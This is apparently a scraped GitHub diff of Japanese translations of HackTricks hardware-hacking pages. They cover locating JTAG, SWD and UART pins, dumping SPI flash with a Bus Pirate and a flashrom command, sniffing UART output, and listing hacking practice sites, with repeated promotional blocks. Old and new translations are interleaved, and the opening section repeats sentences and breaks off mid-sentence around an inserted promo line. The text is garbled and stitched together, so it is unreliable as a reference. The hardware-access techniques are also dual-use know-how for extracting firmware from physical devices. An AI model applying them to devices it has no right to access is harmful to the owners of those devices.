JTAGピンを特定するための**3番目の方法**は、PCBを**検査**してピン配置の1つを見つけることです。場合によっては、PCBが便利に**Tag-Connectインターフェース**を提供していることがあります。これは、ボードにJTAGコネクタがあることを明示的に示しています。このインターフェースの外観は[https://www.tag-connect.com/info/](https://www.tag-connect.com/info/)で確認できます。さらに、PCB上のチップセットの**データシート**を調べると、JTAGインタフェースを指すピン配置図が明らかになる場合があります。
JTAG ピンを特定する**第三の方法**は、PCB を検査してピンアウトの一つを探すことです。場合によっては、PCB が便利にも**Tag-Connect インターフェース**を提供していることがあり、これはボードに JTAG コネクタもある明確な兆候です。そのインターフェースがどのようなものかは [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/) で見ることができます。さらに、PCB 上のチップセットの**データシート**を検査すると、JTAG インターフェースを指し示すピンアウト図が明らかになることがあります。
# SDW
SWDはデバッグ用に設計されたARM固有のプロトコルです。
SWD はデバッグ用に設計された ARM 固有のプロトコルです。
SWDインタフェースには、次の2つのピンが必要です双方向の**SWDIO**信号JTAGの**TDI**および**TDO**ピ
- **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
SWD インターフェースには**二つのピン**が必要です: 双方向の**SWDIO**信号で、これは JTAG の**TDI と TDO ピンとクロック**に相当し、**SWCLK** は JTAG の **TCK** に相当します。多くのデバイスは、**シリアルワイヤまたは JTAG デバッグポート (SWJ-DP)** をサポートしており、これは JTAG と SWD インターフェースを組み合わせたもので、SWD または JTAG プローブをターゲットに接続することができます。
- **あなたのハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) を使ってゼロからヒーローになる AWS ハッキングを学ぶ</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com) を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見する、私たちの独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクション
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に**参加する**か、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングのコツを共有する。
</details>

View file

@ -1,33 +1,31 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する。
</details>
# 基本情報
# フラッシュダンプ
# フラッシュダンプ
## Bus Pirate + flashrom
![](<../../.gitbook/assets/image (201).png>)
注意Bus PirateのPINOUTには、SPIに接続するための**MOSI**と**MISO**のピンが示されていますが、一部のSPIではピンをDIとDOとして示す場合があります。**MOSI -> DI、MISO -> DO**
Bus PirateのPINOUTが**MOSI**と**MISO**のピンを示している場合でも、一部のSPIはDIとDOとしてピンを示すことがあることに注意してください。 **MOSI -> DI, MISO -> DO**
![](<../../.gitbook/assets/image (648) (1) (1).png>)
WindowsまたはLinuxでは、プログラム[**`flashrom`**](https://www.flashrom.org/Flashrom)を使用して、次のようにフラッシュメモリの内容をダンプすることができます:
WindowsまたはLinuxでは、[**`flashrom`**](https://www.flashrom.org/Flashrom)プログラムを使用して、次のようなコマンドを実行してフラッシュメモリの内容をダンプできます:
```bash
# In this command we are indicating:
# -VV Verbose
@ -38,16 +36,14 @@ flashrom -VV -c "W25Q64.V" -p buspirate_spi:dev=COM3 -r flash_content.img
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する。
</details>

View file

@ -1,61 +1,60 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する。
</details>
# 基本情報
UARTはシリアルプロトコルであり、コンポーネント間でデータを1ビットずつ転送します。一方、並列通信プロトコルは複数のチャネルを介してデータを同時に転送します。一般的なシリアルプロトコルにはRS-232、I2C、SPI、CAN、Ethernet、HDMI、PCI Express、およびUSBがあります。
UARTはシリアルプロトコルで、データを一度に1ビットずつコンポーネント間で転送します。対照的に、並列通信プロトコルは複数のチャネルを通じて同時にデータを送信します。一般的なシリアルプロトコルにはRS-232、I2C、SPI、CAN、Ethernet、HDMI、PCI Express、USBがあります。
一般的に、UARTはアイドル状態ではラインが高い論理1の値に保持されます。次に、データ転送の開始を示すために、送信機は受信機にスタートビットを送信します。この間、信号は低い論理0の値に保持されます。次に、送信機は実際のメッセージを含む5〜8ビットのデータビットを送信し、オプションのパリティビットと1つまたは2つのストップビット論理1の値が続きます。エラーチェックに使用されるパリティビットは実際にはほとんど見られません。ストップビット(またはビット)は送信の終わりを示します。
通常、UARTがアイドル状態の間、ラインは高い状態論理値1に保持されます。次に、データ転送の開始を示すために、送信機はスタートビットを受信機に送信し、その間信号は低い状態論理値0に保持されます。その後、送信機は実際のメッセージを含む5から8のデータビットを送信し、オプションでパリティビットと1または2のストップビット論理値1を構成に応じて送信します。エラーチェックに使用されるパリティビットは実際にはほとんど見られません。ストップビット(またはビット)は、送信の終了を示します。
最も一般的な構成は8N1と呼ばれます8ビットのデータ、パリティなし、および1ビットのストップビットです。たとえば、8N1 UART構成で文字C、またはASCIIの0x43を送信する場合、次のビットを送信します0スタートビット0、1、0、0、0、0、1、1バイナリの0x43の値0(ストップビット)。
最も一般的な構成を8N1と呼びます8データビット、パリティなし、1ストップビット。例えば、8N1のUART構成で文字C、またはASCIIでの0x43を送信したい場合、次のビットを送信します0スタートビット0、1、0、0、0、0、1、10x43のバイナリ値、そして1(ストップビット)。
![](<../../.gitbook/assets/image (648) (1) (1) (1) (1).png>)
UART通信するためのハードウェアツール:
UART通信に使用するハードウェアツール:
* USBシリアルアダプタ
* USB-to-serialアダプタ
* CP2102またはPL2303チップを搭載したアダプタ
* Bus Pirate、Adafruit FT232H、Shikra、またはAttify Badgeなどの多目的ツール
## UARTポートの特定
UARTには**TX**(送信)、**RX**(受信)、**Vcc**(電圧)、および**GND**グラウンドの4つのポートがあります。PCBに**`TX`**と**`RX`**の文字が**書かれている**ポートを見つけることができるかもしれません。ただし、表示がない場合は、**マルチメータ**または**ロジックアナライザ**を使用して自分で見つける必要があるかもしれません。
UARTには4つのポートがあります**TX**(送信)、**RX**(受信)、**Vcc**(電圧)、**GND**(グラウンド)。PCBに**`TX`**と**`RX`**の文字が**記載されている**4つのポートを見つけることができるかもしれません。しかし、表示がない場合は、**マルチメーター**や**ロジックアナライザー**を使用して自分で見つける必要があるかもしれません。
マルチメータとデバイスの電源を切った状態で:
**マルチメーター**を使用し、デバイスの電源を切った状態で:
* **GND**ピンを特定するには、**連続性テスト**モードを使用し、バックリードをグラウンドに置き、赤いリードでテストします。マルチメータから音が聞こえるまで、いくつかのGNDピンを見つけることができますが、UARTに属するピンを見つけることができるかもしれません。
* **VCCポート**を特定するには、**DC電圧モード**を設定し、電圧を20Vに設定します。黒いプローブをグラウンドに、赤いプローブをピンに接続します。デバイスの電源をオンにします。マルチメータが3.3Vまたは5Vの一定の電圧を測定する場合、Vccピンを見つけました。他の電圧が表示される場合は、他のポートで再試行します
* **TXポート**を特定するには、**DC電圧モード**を20Vに設定し、黒いプローブをグラウンドに、赤いプローブをピンに接続し、デバイスの電源をオンにします。電源をオンにすると、一時的に電圧が変動し、その後Vccの値で安定する場合、おそらくTXポートを見つけたと思われます。これは、電源をオンにすると、デバッグデータを送信するためです。
* **RXポート**は他の3つに最も近いものであり、UARTピンの中で最も電圧変動が少なく、最も低いです。
* **GNDピン**を特定するには、**連続テストモード**を使用し、黒リードをグラウンドに置き、赤リードでテストしてマルチメーターから音がするまで試します。PCB上には複数のGNDピンが見つかるので、UARTに属するものを見つけたかもしれませんし、見つけていないかもしれません。
* **VCCポート**を特定するには、**直流電圧モード**を設定し、20Vまでの電圧に設定します。黒プローブをグラウンドに、赤プローブをピンに置きます。デバイスの電源を入れます。マルチメーターが3.3Vまたは5Vの一定の電圧を測定した場合、Vccピンを見つけたことになります。他の電圧が出た場合は、他のポートで再試行してください
* **TXポート**を特定するには、20Vまでの**直流電圧モード**、黒プローブをグラウンドに、赤プローブをピンに置き、デバイスの電源を入れます。数秒間電圧が変動し、その後Vccの値で安定する場合、TXポートを見つけた可能性が高いです。これは、電源を入れるとデバッグデータを送信するためです。
* **RXポート**は他の3つに最も近いもので、UARTピンの中で最も電圧変動が少なく、全体的な値も最も低いです。
TXとRXのポートを混同しても何も起こりませんが、GNDとVCCのポートを混同すると回路を破損する可能性があります。
TXとRXポートを間違えても何も起こりませんが、GNDとVCCポートを間違えると回路が焼損する可能性があります。
ロジックアナライザを使用する場合:
ロジックアナライザを使用する場合:
## UARTボーレートの特定
正しいボーレートを特定する最も簡単な方法は、**TXピンの出力を見てデータを読み取ろうとする**ことです。受け取ったデータが読み取れない場合は、データが読み取れるまで次の可能なボーレートに切り替えます。これにはUSBシリアルアダプタやBus Pirateなどの多目的デバイスと、[baudrate.py](https://github.com/devttys0/baudrate/)などのヘルパースクリプトを使用できます。最も一般的なボーレートは9600、38400、19200、57600、および115200です。
正しいボーレートを特定する最も簡単な方法は、**TXピンの出力を見てデータを読む**ことです。読めるデータが得られない場合は、データが読めるようになるまで次の可能なボーレートに切り替えます。これには、USB-to-serialアダプタやBus Pirateのような多目的デバイスを使用し、[baudrate.py](https://github.com/devttys0/baudrate/)のようなヘルパースクリプトを使用できます。最も一般的なボーレートは9600、38400、19200、57600、115200です。
{% hint style="danger" %}
このプロトコルでは、デバイスのTXを他のデバイスのRXに接続する必要があることに注意してください
このプロトコルでは、一方のデバイスのTXを他のデバイスのRXに接続する必要があることに注意してください
{% endhint %}
# Bus Pirate
このシナリオでは、Arduinoがプログラムのすべての出力をシリアルモニターに送信しているUART通信をスニフィングします。
このシナリオでは、プログラムのすべての出力をシリアルモニターに送信しているArduinoのUART通信を嗅ぎ取ります。
```bash
# Check the modes
UART>m
@ -129,16 +128,14 @@ waiting a few secs to repeat....
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -1,39 +1,37 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksであなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
</details>
# 実践による学習
# 実践で学ぶ
## [https://www.hackthebox.eu/](https://www.hackthebox.eu) & [https://academy.hackthebox.eu/catalogue](https://academy.hackthebox.eu/catalogue)
Hacktheboxはハッキングするオンラインマシンを持っており、実践による学習に最適な場所です。初心者の場合は、Ippsecのビデオに従って引退したマシンを実際に学ぶことをお勧めします。
Hacktheboxはオンラインでハックするマシンを提供しており、実践を通じて学ぶのに最適な場所です。初心者の場合は、Ippsecのビデオをフォローしてリタイアしたマシンを使って学ぶことをお勧めします。
HackTheBoxアカデミーは、ハッキングをよりガイドされた方法で学ぶための新しいプラットフォームであり、特定の技術をハッキングする練習をしたい場合にも素晴らしいリソースです!
HackTheBoxアカデミーは、よりガイドされた方法でハッキングを学ぶための新しいプラットフォームであり、特定の技術のハッキングを練習したい場合にも素晴らしいリソースです!
## [https://tryhackme.com/](https://tryhackme.com)
Tryhackmeは、ウォークスルーを通じて解決する必要のある仮想マシンを持つプラットフォームであり、初心者や自己でマシンにハッキングする必要のある通常のCTFに非常に適しています。
Tryhackmeは、ウォークスルーを通じて解決する必要がある仮想マシンを提供するプラットフォームで、初心者や通常のCTFにとって非常に良いです。
## [https://www.root-me.org/](https://www.root-me.org)
Rootmeは、ハッキングするためのオンラインホストされた仮想マシンの別のページです。
Rootmeはハックするためのオンラインホストされた仮想マシンを提供する別のページです。
## [https://www.vulnhub.com/](https://www.vulnhub.com)
Vulnhubには、ダウンロードしてハッキングするためのマシンがあります。
Vulnhubはダウンロードしてハックするマシンを提供しています。
## [https://hack.me/](https://hack.me)
@ -41,32 +39,30 @@ Vulnhubには、ダウンロードしてハッキングするためのマシン
## [https://www.hacker101.com/](https://www.hacker101.com)
ビデオとCTFが無料で提供されるサイトです。
無料のサイトで、ビデオとCTFがあります。
## [https://crackmes.one/](https://crackmes.one)
このサイトには、フォレンジック学習のための多くのバイナリがあります。
このサイトには、フォレンジック学習の多くのバイナリがあります。
## [https://www.hackthissite.org/missions/basic/](https://www.hackthissite.org/missions/basic/)
## [https://attackdefense.com/](https://attackdefense.com)
## [https://portswigger.net/web-security/dashboard](https://portswigger.net/web-security/dashboard)
このウェブサイトには多くのウェブエクスプロイトラボがあります。
このウェブサイトには多くのウェブエクスプロイトラボがあります。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksであなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
</details>